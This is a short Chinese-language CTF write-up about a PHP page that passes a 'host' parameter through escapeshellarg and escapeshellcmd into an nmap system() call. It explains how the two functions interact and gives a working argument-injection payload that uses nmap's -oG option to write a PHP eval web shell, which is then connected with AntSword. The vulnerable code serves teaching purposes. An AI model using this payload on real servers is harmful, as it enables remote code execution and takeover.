nmap命令与escapeshellarg和escapeshellcmd函数
打开页面,可以看见源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
其中的X-Foewarded-For和Remote-Addr是服务器用来获取ip的,而escapeshellarg()和escapeshellcmd()函数是对特殊字符进行转义的
escapeshellarg()
1
| escapeshellarg()函数会对单引号用反斜杠进行转义,并再用单引号将左右两部分括起来,起到连接的作用
|
escapeshellcmd()
1 2 3
| 对特殊字符加反斜杠进行转义,特殊字符为:&#;`|*?~<>^()[]{}$\, \x0A 和 \xFF,以及'和"在不配对的情况下,以及%和!
在windows情况下,会将这些特殊字符转化为空格,而在linux下,如果是在system()函数中,\的转义会失效
|
而使用|&或&&通道的方式,会受到escapeshellarg()和escapeshellcmd()函数转义的影响,而nmap命令可以使用-oG来创建php文件并写入内容
因此,我们可以构造
1
| ' <?php @eval($_POST['host']); ?> -oG test.php '
|
来上传木马,而后会显示出文件的位置,最后用蚁剑连接就行